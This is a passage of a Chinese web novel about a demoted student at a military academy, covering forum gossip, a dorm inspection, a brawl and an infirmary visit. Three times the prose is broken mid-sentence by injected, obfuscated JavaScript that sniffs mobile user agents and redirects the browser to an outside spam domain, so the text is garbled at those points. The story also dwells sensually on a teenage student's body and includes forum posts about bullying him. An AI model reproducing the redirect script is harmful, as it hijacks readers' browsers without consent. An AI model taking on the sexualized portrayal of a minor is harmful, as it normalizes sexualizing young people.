时茧自己就已经把最难听的话说完了,以至于牧野哑口无言了好一阵子,回过神后心情有些复杂地让他坐下了。 其实在看见时茧拉开椅子站起来那一刻,牧野心底就莫名生出了几分后悔。说到底在二次分化成E级Alpha这件事上,时茧没有任何错,甚至他算是一个不幸运的受害者,他因为那点没由来的火气冲动下点名让对方分享当时的感受,实则算是相当过分的举动。 即使时茧看起来完全不在乎,但事实就是,在权贵后代和高等级Alpha纵横的第一军校里,一个E级的Alpha处境将会非常艰难,而这种局面完全是由于他的一己之私造成的。 就像时茧初来乍到时辩驳的那样,牧野不得不承认,他的确在以权谋私,对这个他看不起并深深厌恶的公子哥“滥用私刑”。 17.第 17 章 >>联邦第一军校匿名论坛>>吐槽灌水>> 【主题帖】才正式开学第一天就拉练10公里这正常吗? 热1:要不看看陆空指挥系1班呢,报名那天就在魔鬼体训了 【主题帖】求学长们给份军校生存攻略祝学长科科不挂 热1:逆天新生 【主题帖】第一军校还能招E级Alpha?假的吧! 【主题帖】陆空指1班那个新生长得绝了,昏暗光线下随手偷拍都美成这样 【主题帖】牛逼,入学两天把系里总教官和第一军区太子爷都得罪了 【主题帖】AA恋真的犯法吗?Alpha如何追Alpha?在军校搞AA恋会上军事法庭吗? …… 【主题帖】懂的进 主楼:【图片】某新生课上自爆等级,真让太子陪读给说中了,居然真是E级Alpha 1l:之前围观看他扇太子爷耳光还以为等级很高呢……没想到我一根手指就能把他弄趴下 2l:一根手指? 5l:这辈子没见过比某新生更好看的人,可惜脾气有点太大了,连恶犬系教官和太子爷都敢惹,我等也只能望洋兴叹 9l:好看又怎么样,美貌单出是死局,一个E级Alpha,随便释放一点信息素就能让他崩溃吧 15l:你们真恶心,对着一个Alpha都能点评得津津有味,搞AA恋的都该下地狱 18l:呵呵、装货 23l:你校恨不得连看门狗尿的那棵树都是公的开不了花,来了个比Omega还漂亮的弱A就偷着乐吧,反正抑制颈环一戴闻不到信息素是A是O都一样 25l:是A更好吧……无套也不用担心怀 27l:就没有人好奇这种等级是怎么被招进来的吗? 29l:废话,能进第一军校的要不是沈那种平民卷神,就是非富即贵靠基因彩票,某新生还用猜吗 30l:E级……弱成这样……谁都能欺负一下吧…… 33l:上一个去堵人的刚从禁闭室放出来,脖子差点让某新生咬断,你们要是觉得自己家世背景或者等级强得过太子爷那大可以试试,反正新生开学第一周晚上都没有晚训,要做内勤训练,某新生现在估计就在自己寝室里待着,有胆量的去呗 35l:谁有某新生寝室号,有偿求 38l:你们怎么能这么堂而皇之地公开讨论如何霸凌同学?!!举报了!!! 39l:? 41l:不儿哥们,不儿 42:煞笔 【此贴因违反论坛规定暂时屏蔽,已限制回复】 看着“404 not found”的界面,沈行川满意地给论坛管理员打了五星好评,在进宿舍楼之前收起手机。 因为是班长,牧野把他叫来一起检查新生寝室内务,前面几栋都已经巡查完毕,还有这最后一栋就结束了。 军校生扎堆的宿舍楼比普通Alpha扎堆的地方雄性气味更加浓郁,即使早有心理准备,牧野和沈行川一踏进去还是被熏了个浓烈扑鼻,尤其日常生活起居的宿舍内,哪怕肉眼看起来整洁干净,也总给人乱七八糟的感觉,好像每张椅背都搭过内裤袜子的既视感。 简称腌入味了。 沈行川捂住鼻子,作为Alpha骨子里的领地意识让他本能地排斥这些掺杂了信息素的气味。要不是为了给教官留下好印象,他绝对不会接下这种辣眼睛又折寿的活。 “307,陆空作战指挥……” 牧野翻开花名册对寝室号,忽然挑了挑眉:“哟呵,这不巧了吗,自己家的。” 沈行川好奇地跟他进去,寝室里三个人都在,但氛围不太对,隋边气冲冲地在和付岩说着什么,时茧则抱着手坐在自己床边,室友关系一目了然。 牧野象征性地敲了两下门,隋边止住话头,和付岩一起站起来向他问好,时茧懒懒散散地跟着站起来了一下,含混着随口喊了句教官。 牛皮军靴踩在地板上嗒嗒作响,牧野抓着评分表左看看右转转,想伸手摸一下床沿但联想到什么东西脸色不大好,又放弃了。 “来检查检查你们内勤。军校如军队,光成绩好体能好还不够,包括内务整理、思想教育这些方方面面都要向真正的部队看齐,把自己看作一个正式的军人,还想像以前那样在家里衣来伸手,饭来张口,懒懒散散的可不行。” 沈行川深觉理应如此,认可又郑重地点了点头。 牧野翻了翻靠门的付岩的床铺,满意点头:“叠得还不错,方方正正是个合格豆腐块。” 他说完又看了一眼这学员,莫名觉得挺眼熟的,或者说给他的感觉很熟悉,好像在哪见过一样。 又走到时茧床前,见他的被子也叠得整整齐齐还有些意外,这种十指不沾阳春水的小少爷也有这种觉悟?但回想起下午课上的一幕,又觉得自己未免有点先入为主,这小少爷虽然娇生惯养,但家里好歹算军人世家,从小耳濡目染会叠个豆腐块也没什么稀奇。 牧野尴尬地咳了声,也不太敢看时茧的表情,憋半天憋出一句:“这要你自己叠的,那还行。” 一直被付岩拉着的隋边终于忍不下去,大声说:“什么他叠的,明明是付岩替他干的!自己的事情自己做这种幼育园小朋友都知道的道理偏偏有些人就是厚脸皮,等着别人伺候他!” 时茧淡淡地看他一眼,用嘴型说,“多管闲事。” 隋边不服气地瞪回去。 付岩阻止不及,有些埋怨地肘他一下:“他又没逼着我干,是我自己愿意的。” 沈行川杵在一边当背景板,这种场面也不好插嘴,欲言又止的在几个人身上看来看去。 牧野气出笑声:“室友爱啊?行军打仗的时候他没物资你把自己的给他用?还是他让异种一炮轰了你能替他去死?” 他又强忍着火气问时茧:“为什么让室友替你整理内务?” 少年很惊讶地睁大双眼,表情透露出一种“你问的什么蠢逼问题”,“因为我不会啊。” 在场几人都被他话里话外的理直气壮噎了一下,牧野更是不可置信:“你连叠个被子都不会?!” 时茧漠然反问:“这是什么必须会的技能吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044772|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你平时起居怎么办?” “教官,你家里没佣人?” 工资只够养活自己的铁处男光棍:“……” 牧野咬牙切齿道:“离了家呢?大小姐?” 时茧无所谓道:“副官会帮我打点的。况且,又不是没人帮我。” 他这话里的指向性太明显,连沈行川都忍不住看了一眼付岩,后者摸着脑袋有点不好意思地笑笑。 牧野把后槽牙磨得咯吱作响,他发现自己就是第一军校建校以来最大的蠢货,居然会因为一个二次分化意外就对这种除了家世之外毫无优点的二世祖产生可笑的愧疚心理。 这种从出生就含在金匙里的人哪怕遭遇再大的变故又如何,他的下限就是普通人努力一辈子也够不到的上限,还需要可怜同情? 他算什么,也配同情第九军区的少爷? 只怕让这人知道了,也只会觉得你们这些人在自作多情吧。 牧野勃然大怒,一把抓起时茧的被子扔到地上,让他带着自己被子滚到操场什么时候叠到合格什么时候再睡觉的话都到了嘴边,但忽然间,一道清瘦淡然的身影在他脑海里闪回,连说那些话时的表情都无比清晰,这句话就又不知不觉咽回去,到最后只憋出一句:“沈行川,教他叠被子,叠不好就一直叠,明天我再来检查要还是这样,你跟他一起滚去操场当着所有人的面叠。” 他说完抬脚就走,沈行川愣了一下才反应过来,忙说好,腹诽道看着挺生气的怎么就只是小发雷霆了一下。 付岩把门关上,隔绝走廊里时不时投来的目光,不太高兴地看向隋边:“教官只是例行检查一下,糊弄过去就好了,现在被翻出来小题大做,还不如当不知道。你以后别这样了。” “不是付岩你有病吧,我帮你说话还落埋怨?本来就没人有义务帮他做内务,你现在帮了以后呢,能帮他一辈子吗?而且就算你帮他做这些,他也根本不领情,只把你当佣人看,我真想不通你对他这么好干什么,别这么圣母心泛滥行不行?” 付岩隐晦地看了一眼时茧,对方放着空出神,根本没关注这边,不得不承认隋边说得没错,像他这种出身高贵的公子哥,哪怕等级再低,和自己也根本不是一个世界的人。 “……我的事不用你管。退一万步说,我们是同学,是室友,你不该当着教官的面揭他的短。” 隋边气笑了:“我凭什么不该?他一个E级Alpha走后门托关系搞不好还抢了其他人的名额轻轻松松就进了第一军校,还一点上进心都没有,这种蛀虫会怕我揭短?” “你对时茧有偏见才老一直针对他,但我觉得他是挺好一个人。” “我就是针对他怎么了?班长你说说我难道不该针对他吗?” 但沈行川只是把时茧的被子捡起来,被隋边提到的反应是指了指自己:“啊?我吗?” 隋边气得摔门而去,付岩抿抿唇,抓起书包小声说:“我去图书馆。你们自便。” 沈行川把被子好好放回床上,有点无奈地对时茧说:“那我教你?你看好了?” 时茧抱着手臂往床尾一坐,淡淡道:“我不学。” 18.第 18 章 沈行川有些无奈,他发现自己真的很难看懂眼前这神色淡然的少年,以他为了被第一军校录取从小卷生卷死的经历来看,他也没办法认同对方躺平摆烂的观念,老妈子一样逼叨逼叨:“叠豆腐块多好学啊,你为什么不愿意呢?你摸摸这被子质量真挺好的,我盖了几晚上,睡着可舒服了。” 时茧让他念叨得耳朵起茧,像被触发关键词回复的小机器人一样,重复起老掉牙的那几句话:“我连军校都不想来,更别说学这些东西,要不是我哥……” 提到时序,他下意识地停顿了下:“……总之就像教官说的那样,我就是烂泥扶不上墙。而且就算我能做好有什么用,一个E级Alpha,在战场上拿着叠好的豆腐块当炮弹轰异种吗?对于我的等级,做得好和做不好都没区别,但你们每个人都对此抱有一种不切实际的幻想,以为把我扔进军校,我就真的能脱胎换骨。” 时茧的唇角勾出一个很冷的弧度,苍蓝色的眼眸在白炽灯下闪烁着某种玻璃制品般绚丽但无机质的色彩。 “……你说得也有道理。”何止是有道理,沈行川压根不知道自己该怎么辩驳。 联邦第一军校说是权贵子弟扎堆的地方,可谁都知道,对于这些要真真正正上战场、去到一线,过着刀口舔血、枪林弹雨生活的Alpha们而言,家族荫庇最多让他们在入学上稍占一些便宜,但军队的本质仍旧是战力至上,在和牙齿都是武装的敌人殊死搏斗时,更高的等级比高贵的出身更能保住一条命。 为家族荣光添砖加瓦的前提是,能活着从战场上下来——能每一次都活着从战场上下来。 E级Alpha的身体素质,战事若是真的开启,说是填线宝宝一点也不过分。 时茧以为这已经足够说服沈行川让他不要来烦自己,但没想到这人真挺死皮赖脸的,双手合十眼神诚恳地求他:“你说得都没错,他们不该这么逼你,但是教官把任务交给我了,要是没完成我就得和你一起去操场上叠被子,这也太丢人了,会成为传校宝级别的新生笑话,你也不想这条校园规则怪谈传着传着被扭曲成陆空指某两个新生在大庭广众下公然大被同眠吧——” “所以求求你了,稍微学一下好不好?” 拒绝的话堵在喉咙,时茧顺着沈行川描述的画面想了想,眉心顿时皱得比看见余宸还紧,禁不住这家伙的软磨硬泡,最后还是勉为其难地点头同意了。 沈行川立刻欢呼一声,摇晃着不存在的尾巴非常积极地立刻给时茧演示了一遍,每个小细节都讲解得十分清楚,怕他没看懂还拆开了打算再叠一次,但时茧不声不响几下就叠好了一个完美符合标准的豆腐块,速度比沈行川这个熟手还快。 他惊讶不已,掏出随身携带的尺子量了一下四个角,发现不差一丝一毫,全部都是正正好的90°,惊讶道:“时茧同学,你简直就是一个叠豆腐块的天才!这是我检查完上千个宿舍见过最完美的豆腐块!” 他收起尺子,严肃地看着时茧,煞有其事道:“你已经拥有了一个兵王该有的初步品格。” 时茧:“……” “班长大人,你太浮夸了。” 他是什么三岁的幼育园小朋友吗? 沈行川收起玩笑,认真地看着时茧的眼睛:“我是真心实意觉得你很聪明的,你看我就讲过一遍,你就做得比我还好,虽然只是叠被子这种很简单的事。你只是还不适应军校,这又不是你的问题,但你以前的成绩肯定很优秀。” “……”时茧移开了视线,不轻不淡地说:“我没你想得这么脆弱。” 沈行川完全不听这些,掏出手机对着他的床位咔哒咔哒拍了一通:“我把照片发给教官,看他这些怎么说。” 弄完后他看了看时间:“不晚了,我回去还要预习。明天早上新生开始正常的早训拉练,你记得定一个七点的闹钟,千万不要像今天这样又迟到,不然教官也是很难做的,我听高数课老师说他被叫去办公室挨批好久,还要扣绩效。” 说着,沈行川感同身受地叹了口气:“唉,这样扣下去,牧野教官离老婆孩子热炕头的脱单计划又要遥远一步。” 时茧不冷不热道:“他这种直A癌这辈子也娶不到Omega。” 沈行川并不知道站在他面前的少爷手机里的Omega比他这辈子亲眼见过和网上见过的加在一起还要多,闻言很是唏嘘:“牧野教官现在这种野兽派狼系男友已经退环境了,我这样阳光开朗的猫系大男孩才是版本T0。哎对了你说Omega会喜欢我这款的吗?” “你再说你也一辈子娶不到Omega。” 时茧平等冷漠地对待着每一个Alpha。 * 但时茧这回确实没赖床,他自己设置了闹钟,付岩也顶着隋边鄙视的眼神把他叫醒,只是去食堂吃早餐花了些时间,比起那些刚下完早训冲进来狼吞虎咽的高年级生,从小接受着餐桌礼仪教导的时茧吃东西很是斯文。 撕着面包吃的时候时茧就感觉到有不少人都在暗地里看他,这种无聊的软霸凌于他而言十分无聊,连多余的眼神都没有多给一个。 去操场集合慢了点,一年级新生以系、班为单位已经整合完毕了。 时茧溜到最后面,本想插个空躲进方队就行,但牧野一眼就看到了那抹显眼的蓝色,把人拎到第一排来:“全班就你最矮,腿还没别人胳膊粗,站那么后面人都被遮完了,给我到前面来!” 其实哪怕站在第一排,时茧都要比全班最矮的Alpha还要矮大半个脑袋,从身后投下的高大黑影能将他轻松包裹,前十七年作为Omega发育的身体让他在这些野兽一样的军校生面前就像只刚断奶的猫崽子,纤长的手腿仅仅能起到美观作用,细韧的腰肢更适合被人圈锢在怀里。 堪比把精雕细琢的花瓶扔到暴虐凶祟的叛军里,美丽却毫无攻击性,招来的便不是单纯的欣赏。 很多目光或直接、或隐蔽地落在他身上。 牧野调完队形后猛地一吹哨子,中气十足道:“从今天开始,除非外出任务或有伤在身,所有人都必须参加早训,先拉练五公里,再随机安排不同的训练项目,八点半集合解散,完成不了要求的就给我继续加练,直到达到我的要求为止,都听清楚了吗?!” “报告教官,听清楚了!” 身穿黑色战斗服的Alpha们挺起胸膛齐声回答,气冲云霄。但在这群浑厚的男低音中却很突兀地插进一道清亮尖锐的声音,被衬托得仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049892|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛有女生混进来,众人纷纷看向发出声源的那人。 时茧自己也听出来了,他浑水摸鱼懒洋洋地跟着喊,但没想到区别竟然这么明显,又见这么多人都朝自己看过来,以为被他们发现,不太耐烦地啧了一声。 牧野往他喉结一看,嘲笑道:“还没发育呢?跟个女孩似的,上厕所记得离其他人远点,不然怕对比下小美女会接受不了这种打击。” 附近的几个方阵都跟着爆发出一阵哄笑声,这些身体和头脑一样粗俗的军校生非常喜欢这种下流笑话,争先恐后地用目光肆无忌惮地打量着教官口中的“小美女”。 虽然早已做好了会在军校遇到这种情况的心理准备,但当这些嘲笑明目张胆地灌入耳朵里,时茧仍旧无法做到完全置身事外,他依旧会感受到难堪和羞辱。 不知道是谁吹了个悠扬的流氓哨,时茧循声望去,是隔壁武战系方队里最高的一个金发Alpha,蓝眼高鼻欧美长相,发现对方看过来了,邪笑着做出右手拇指捅进左拳圈里的动作,还缓慢地进出抽动了几下。 他嚅动着嘴唇,用唇语说了一句很脏的英文。 时茧猛地握紧了拳头,但没等他发火,一道风刃凌空抽去,金发Alpha连忙偏头躲过,冲着他嘴巴去的风刃只在脸上划破一道冒着血珠的细痕。 牧野一腿踹他心窝子上:“什么鸡.巴东西,对着老子的学生把嘴巴放干净点!不然下回就给你割干净!” 此前一直在看戏的武战总教官发现事情不对才忙拨开人群过来,虽然知道是自己学员不对在先,但也不愿率先认怂:“过分了吧牧哥,开个玩笑而已,又不是对抗训练,你搞这一出涉嫌体罚学员啊。” “你给我装什么大尾巴狼,滚一边儿去!” 金发Alpha被踹得几个趔趄,有人把他扶着才没倒下去,武战方队的见状不能忍:“您嘴巴也不怎么干净啊!” “要不是教官你先开的头尤夏也不会接茬!” “这是武战方队,牧教官您管得太宽了吧!” 陆空指这边更是群情激奋,挥着拳头就要冲过去要说法:“武战这群瘪孙扯什么犊子呢!欠收拾了是吧!” “我擦你们这一个个臭不要脸的,有本事过来!” “我们教官是一年级生总教官就管你们怎么了!不服啊?!” 沈行川拿背顶着这群激动的Alpha,拦住他们不让他们冲过去:“冷静啊大家冷静点啊不要斗殴打群架也不要事后偷偷报复更不要投校园墙!!” 两边骂得你来我往,时茧看呆了,根本没想过事情会发展到这种地步,因为站在第一排难免被波及,也不知道是谁推了他一下,陆空指的方队顿时像烧开的水一样沸腾了。 “还敢动手动脚?死吧!” “武战的你们欺人太甚了!” 时茧愣住,他刚才是很生气,但也绝不是想把事情闹成这样,还在想该怎么平息,下一秒就瞪大了眼睛—— 刚刚还在维持秩序的沈行川嗷地一嗓子,放出精神体冲上去:“学员受辱就是班长无能,去死吧傻逼武战的!” 孟加拉虎飞起一跃,仰天长啸:“哇呜!” 场面彻底控制不住,乱成一团。 19.第 19 章 这场闹剧最后以纪察部赶到收场,顾识云哪怕在第一军校这种地方也是不可多得的S级,单论等级比两个教官都还要高。 他简单听了一下双方包括当事人的陈词,目光最后落在时茧脸上,检查式的上下扫了一遍,没有发现受伤迹象,万年不变的冰块脸稍稍缓和。 “整个斗殴事件因武战系新生尤夏无故挑衅同学而起,作为主要违规者,根据校园管理规则第三条第一款规定,寻衅滋事将做全年级通报批评处理,另禁闭室面壁反省15小时;其余人无视校规校纪公然聚众斗殴,取消陆空指1班和武战1班本学期集体评优评先;教官未加阻止导致事态恶化,须上报教务处裁定。” 顾识云公事公办,尤夏被他带走,武战系骂骂咧咧一阵后也只能回指定区域早训。 陆空指的更不满意这种处罚结果,牧野倒是冷静,呵斥道:“打赢了就行,反正就你们这怂样想拿优秀集体我看也难,没给你们都抓去禁闭室就偷着乐吧。我先去教务处一趟,沈行川,你带着他们照常早训,别趁我不在想着偷懒,等我回来看监控你们谁要是不认真训练,看我不抽掉你们一层皮!” 学员们不情不愿地说了声好,背过来都骂纪察部背叛阶级简直是一群走狗! 尤其那个顾识云,更是走狗中的走狗,这种人不会有Omega要的! 来去太匆忙,顾识云也没来得及和时茧打招呼,只在错肩而过的时候把自己的名片放进他的上衣口袋里,低声道:“下次再被欺负,就打这个电话举报,我很快就来。” 时茧浑身僵了一下,等Alpha离开很久,胸前被触碰的温热感觉才滞后地传来。 “你怎么了?刚刚没碰着磕着吧?”沈行川见他没反应,伸手在眼前挥了挥,“准备好开始五公里了。” “哦。” 时茧在第一排,刚开始跑出去那几百米还能和整个队伍保持速度一致,但围绕操场跑了一圈后他呼吸就开始急促,身位一排一排落后,最后挂在队末当个尾巴,两公里的时候就已经被方队套了一圈半。 沈行川经过时拍拍他肩膀,鼓励道:“加油!” 又不是顾识云那种机器人,加油有什么用,难道能代替按摩仪让腿部肌肉不酸痛。时茧艰难地喘气,但还有空在心里吐槽。 什么破军校,什么破早训,谁来上大学是为了每天六点起床七点跑五公里的,这分明就是违背人权的法.西.斯分子,万恶的恐.怖.组织。如果他还是Omega,一定会收集这些罪证告到保护协会,把第一军校这种根本不应该存在的学校告到破产,牧野死刑,尤夏无期,这些超雄军校生也都统统见鬼去吧。 顾识云……顾识云倒是可以网开一面,沈行川就判个社区劳动改造。 仿佛永远也没有尽头的跑单令时茧的精神状态岌岌可危,头顶的怨气浓郁得几乎化为实质,足够让他担任把公主变成睡美人的邪恶女巫。 时茧眼前满是金星,怨恨地想,他要是有黑魔法,一定会挥舞着魔法棒把整个操场上的Alpha军校生全都变成青蛙、蝙蝠、骷髅精。 但他现在只是个E极Alpha。基因被加强过的高等级Alpha们在轻装状态下轻轻松松16分钟跑完了五公里,稍微逊色一点的也都在20分钟以内完成了,只有时茧刚跑完三公里,肺就已经扩张到快要爆炸的程度,喘气声重得堪比哮喘病发。 沈行川小跑到他身边:“就剩两公里了,你再坚持一下。” 时茧张开嘴,冷风呼呼往喉咙里灌,呛得他一阵咳嗽:“不、咳咳咳、不跑了,我、咳、我不想跑……” “哪里不舒服?” “哪、哪里都不舒服……” “腿、咳咳咳咳咳、腿疼,喉咙也疼,胸口、咳、疼……” 沈行川怕时茧下一秒就会死过去:“你先别说话了,跟随步子调整呼吸,你都跑完五分之三了,剩下的五分之二也一定可以的!” “我、真的、真的快不行了……” 沈行川拽着时茧的手搭到自己肩膀上,带着他跑:“你行的,你是最厉害的E级,相信自己好不好,实在跑不动了可以快走,只剩1.5公里了!” 时茧猛地咬住下唇,疼得眼角泛起水花,硬把涌上喉咙的腥甜压下去,他想张口说谁要你天天在耳朵边搞鼓励教育,但被压榨到极致的心肺都实在不允许他有除了呼吸之外任何多余的动作,也就只能恶狠狠地瞪沈行川一眼。 “你别这么看着我,卖萌可耻啊时小茧同学!我是不可能因为你哭了就防水的,这是对你的不负责!再坚持坚持啊!!只有1公里了!” 去你大爷的! 时茧猛地甩开他,拖着酸痛的双腿往前多跑了几步,非常抗拒和沈行川待在一起。 Alpha却狗皮膏药一样黏上来,挥舞着手臂大呼小叫: “加油!加油!” “还有最后两圈了!” “冲啊啊啊啊啊啊啊你做到了!” 时茧一跑到终点就捂着胃部干呕,脸色惨白发青,浑身抖得仿佛失温。 他胃里排山倒海似的难受,甚至压过了肺腔的腥痛,吃过的早饭坠在胃袋里像吊了一块沉甸甸的石头,想吐却又吐不出什么东西,只要掉不掉的挂着一串透明涎水,把嘴巴一圈弄得亮晶晶的。 沈行川吓得赶忙跑去移动水站接了一杯热水,时茧一口气灌完好受了些。 他抬起头满眼怒气地瞪着沈行川,眼睛里因为咽喉收缩压迫湿漉漉的,被光一照水色淋漓,眼尾鼻尖耳垂这些皮肤薄的地方都洇着一种湿润的深红色,在苍白脸色的对比下更加明显。 沈行川表情很明显的愣了一下,站在他面前的好像不是同学,而是一个活脱脱从水里爬出来的艳鬼。他楞楞地低头看了眼自己被晒成麦色的小臂,忍不住对比时茧露在外面、晨光下白腻晃眼的皮肤,心头一震。 怎么会这么白,这么漂亮,又哪里都纤细、都小巧,比他高中隔壁Omega学校的校花还好看。 “校花、啊呸,同学,你还有没有哪里不舒服?” 时茧略凶的眼神好像在说废话,“你觉得我像是哪里都很舒服的样子?” 沈行川在心里嘀咕是挺像的,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15053727|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看过的片里那些被Alpha满足后食髓知味的Beta一模一样,但他怎么能把这么低俗的比喻放在自己同学身上呢,于是关心道:“需要我送你去医务室吗?” 时茧下巴一抬,神情里带着权贵家庭小少爷的颐指气使,指着自己脚:“腿疼,走不了。” 沈行川自然而然地在他正前方转过身蹲下:“那我背你去吧。” 换成其他Omega就该害羞了,Alpha则会见鬼似的大叫,Beta也会觉得自己何德何能。 但时茧毫不扭捏地爬上去。沈行川站起来,手握成拳,只托住他的膝盖弯,惊叹道:“你好轻啊。” 还有股很幽深的花香味,离得远闻不到。沈行川猜测可能是他洗发水或者沐浴露的味道。 他堂而皇之地背着时茧直接从操场中心穿过去,引来不少人侧目,也有人拍照发到论坛上。 初秋暑热仍在,但从操场外到医务室这条大路上两边都种满了银杏树,这时候叶子还没黄,绿色郁郁葱葱地随风哗响,递给树荫下来去匆匆的学生阵阵凉意。 时茧被沈行川背着一进医务室,就看到靠窗一边的长椅上坐着顾识云,闭着眼在等校医抽血,睫毛在脸上投下阴影,宽直的肩膀后是一片冉冉绿意,衬得他整个人冷若冰霜的气质都温驯了不少。比起不苟言笑的纪察部部长,这种时候才更像是普通男大一点。 他听到动静,睁开眼睛,在看到时茧的时候眉头舒展了一些,但随即看到同行沈行川,又不由皱紧。 校医是个很年轻的Beta,跟着顾识云一起抬头,继而露出一个温和略带趣意地微笑:“是这届的新生吧……你们过来坐这边,稍等我一下。” 虽然看的是这边,但时茧直觉后半句才是对着他们说的。 沈行川粗神经没觉察出什么不对劲,从善如流地把时茧放下,跟在校医屁股后面转:“老师老师,他叫时茧,我们是陆空指1班的,他等级不太高可能适应不了这么高强度的早训,跑完五公里吐了,还说脚痛,你帮他看看。” “行,我知道了。那你还要训练吗?要不要先回去?” 沈行川没想到看起来温温柔柔的校医会撵人,他挠了挠头:“我不用陪他吗?” 校医噗嗤笑出声:“又不是Omega生孩子,你陪在这里能起什么作用,还不如回去训练呢,不然等你们教官回来发现少了两个人,搞不好就得倒霉了。” 他说着又看了眼坐在窗下未发一言的顾识云,挑了挑眉,道:“再说就算需要人手,这里还有个你们的直系学长呢,不用担心。” 沈行川为难地看了眼时茧,见后者没反对,也就没再纠结:“那好吧,麻烦医生和顾学长了,我还要回去带训。” 等一出医务室,立刻变脸:“呸,走狗!” 校医看着时茧,笑眯眯地说:“还能带训,看来是班长啊,这个小伙子很不错嘛。” 时茧还没来得及说话,顾识云冷不丁道:“遇事冲动,头脑简单,他应该报考武战,陆空指不适合他。” 校医惊讶回头,啊呀,这就拉踩上了吗。 20.第 20 章 顾部长忽然变得极具攻击性。时茧沉思。 校医这时候走到他身边,指引他在手术床上平躺,捏着两颊打开口腔照灯观察,又听了听心声,初步检查一番后,安慰道:“别担心,没什么大碍,你这是突然剧烈运动后身体不适应而产生的应激症状,循序渐进地增加训练量就会脱敏的。如果担心以后还会呕吐的话,以后尽量下早训后再去食堂,这样胃部的负担会轻一点。” “还有,参加训练前后都要记得热身拉伸,尤其是长跑类的项目。” 时茧点头。校医又捏了捏他的小腿,“话说回来,按我们医学生的审美,你的身体线条完全符合黄金比例,也就是说绝大部分人都会觉得赏心悦目——我说个实话而已,别这么看着我。” 时茧顺着校医的话看向床边,恰巧与顾识云的目光相撞,视线交汇的那一刻两个人都有些许微怔。 顾识云先反应过来,低沉而隐含警告地对校医说:“校园管理规则第十条第一款,禁止校医对学员进行骚扰,若有违反即刻停职查处,移交司法机关。” “不就开个玩笑吗!占有欲别太强了!”温柔校医忽然暴躁跳脚,如避洪水猛兽般收回手,哀哀怨怨地看着时茧。 “……我脚心好像长了水泡,很疼。”时茧迅速岔开话题,缓和气氛。 时茧觉得顾识云有点太敏感了。他能分辨得出校医的打趣和那些军校生下流的嘲笑之间的区别,但不得不说顾部长受人之托,办事也是真的细心。 因此,他又向着顾识云的方向点点头,轻轻笑了一下。 “……”顾识云沉默,喉结上下滚了滚,吞咽得很用力。 校医来回看看,啧啧几声,把时茧的鞋袜脱了,观察一番后去消毒拿器具:“是磨出来了几个水泡,戳破再敷点消炎药粉就好了。不过可能会有点疼,你稍微忍一忍。” 时茧深吸口气,做好了心理准备,但还是被针尖扎进去那一瞬间的刺痛激得闷哼一声,药粉撒在伤口上时更是肌肉绷紧,双手死死地抠在两侧把杆上,纤细地脖子挺起一个挣扎的弧度。 时茧疼得眼角泛泪,紧紧咬住下唇,不愿发出任何一点声音。 但忽然有一根手指伸过来,像给小猫强制喂药一样,不容分说地强行掰开他的唇齿,横亘在上下牙齿之间。 陌生皮肤的触碰弄得时茧唇瓣泛起微弱过电的痒意,心尖也跟着痒了一下,下意识地拿犬齿去磨,咬下去后吃到一股皮革的味道。 “别咬唇。” “你的嘴唇很漂亮,像粉色的蔷薇一样,咬破就不好看了。” 低冷磁性的男声从上方传来,时茧动作一顿,抬起头,有些错愕地看着制服青年。 而从顾识云的视角向下看,少年年纪尚小,五官标准的脸上还带着几分稚气,上扬硕大的蓝色眼珠像清澈透明的玻璃球,还缀着一点晶莹的水光,转动间似乎能听到哗哗的海浪声。 鼻子挺拔平滑,不像他的鼻梁靠上部分有一点驼峰,皮肤细腻得仿佛雨水浸润过的白瓷,衬得眼睛越发苍蓝,薄唇越发红润。 雪白的牙齿像贝壳一样咬着他的手指,隔着手套,传来被牙齿轻轻磕碰时的酥麻,又湿又热,还带着一点若有似无的香气。 湿润的舌尖抵着指腹,从紧闭的白色中能隐约窥得到一点艳气的湿红。 好漂亮。 顾识云回去后花几晚时间在学校的求助板块高强度搜索过该怎么正确夸奖一个人,热帖回复他可以买一些教你提高情商的书,比如《语言的艺术》、《情商大师教你如何与人相处》、《情商高的Alpha会说话》、《高情商聊天术》、《为什么Omega喜欢“花言巧语”》,也有热心校友私信让他戳链接报班,他都一一照做,也私下对着镜子练习过几次,本以为简单社交应该已经够用了,但没想到真正面对面交谈时,还是没办法将心里想说的话完全贴切地表达出来。 那些勤学苦背的技巧和话术在看见时茧的一瞬间就记不起来了,顾识云满脑子只剩下一个念头。 他真的很好看。 